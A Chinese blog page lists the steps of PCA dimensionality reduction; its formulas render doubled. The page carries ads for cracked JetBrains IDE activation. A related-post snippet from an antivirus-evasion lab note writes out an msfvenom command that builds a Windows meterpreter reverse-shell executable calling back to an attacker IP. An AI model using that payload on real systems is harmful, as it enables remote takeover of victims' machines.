PCA算法过程_pca推导

PCA算法过程_pca推导PCA是主成分分析(PrincipalComponentsAnalysis)的简称。这是一种数据降维技术,用于数据预处理。一般我们获取的原始数据维度都很高,那么我们可以运用PCA算法降低特征维度。这样不仅可以去除无用的噪声,还能减少很大的计算量。…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46,售后保障稳定

PCA(Principal Components Analysis)主成分分析,这是一种数据降维算法,用于数据预处理。一般我们获取的原始数据维度都很高,我们可以运用PCA算法降低特征维度。这样不仅可以去除无用的噪声,还能减少很大的计算量。

PCA的算法步骤:

设有m条n维数据。

  1. 将原始数据按列组成n行m列矩阵X;
  2. 将X的每一行(代表一个属性字段)进行零均值化,即减去这一行的均值;
  3. 求出协方差矩阵C=1mXXTC=1mXXT;
  4. 求出协方差矩阵的特征值及对应的特征向量;
  5. 将特征向量按对应特征值大小从上到下按行排列成矩阵,取前k行组成矩阵P;
  6. Y=PXY=PX即为降维到k维后的数据。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/234808.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Python中的log文件(详细教程)

    Python中的log文件(详细教程)

  • GateWay 网关跨域问题「建议收藏」

    GateWay 网关跨域问题「建议收藏」yml文件中配置即可:spring:cloud:gateway:globalcors:#全局的跨域处理add-to-simple-url-handler-mapping:true#解决options请求被拦截问题corsConfigurations:'[/**]’:allowedOrigins:#允许哪些网站的跨域请求allowedOrigins:“*”允许所有网站…

  • mysql 数据库表结构设计与规范[通俗易懂]

    mysql 数据库表结构设计与规范[通俗易懂]mysql数据库表结构设计与规范DDL(datadifinitionlanguage)就是数据定义语言。1.sql语句的界定符[code]–默认情况下”;”代表sql语句的结束delimiter新的界定符–修改//为界定符delimiter//2.创建数据库[code]#1.创建数据库createdatabase数据库名字[charset=uft

  • 掩日免杀笔记_在线笔记

    掩日免杀笔记_在线笔记微信公众号:乌鸦安全扫取二维码获取更多信息!1.环境攻击机:kalilinux10.211.55.23受害机:Windows10360主动防御Windows7火绒主动防御2.生成exe文件在kalilinux下使用msfvenom生成一个64位的exe文件msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=10.211.55.23lport=4444-fexe…

  • PHP性能提升之opcache「建议收藏」

    PHP性能提升之opcache「建议收藏」     php的不同版本的迭代,都有优化(这是废话),php7,已经出来这么久了,可以说说是相当成熟了,php7的性能提升相对于php5.6等版本的状况,不只是一点儿,而是极大的提升了php的性能。    php自带的缓存有apc,O+。在PHP5.5开始,已经随着PHP的源代码一起发布,并且改名为:Opcache.OPcache 为什么可以优化?   …

  • python之懒惰属性(延迟初始化)

    Python对象的延迟初始化是指,当它第一次被创建时才进行初始化,或者保存第一次创建的结果,然后每次调用的时候直接返回该结果。延迟初始化主要用于提高性能,避免浪费计算,并减少程序的内存需求。1.

    2021年12月29日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号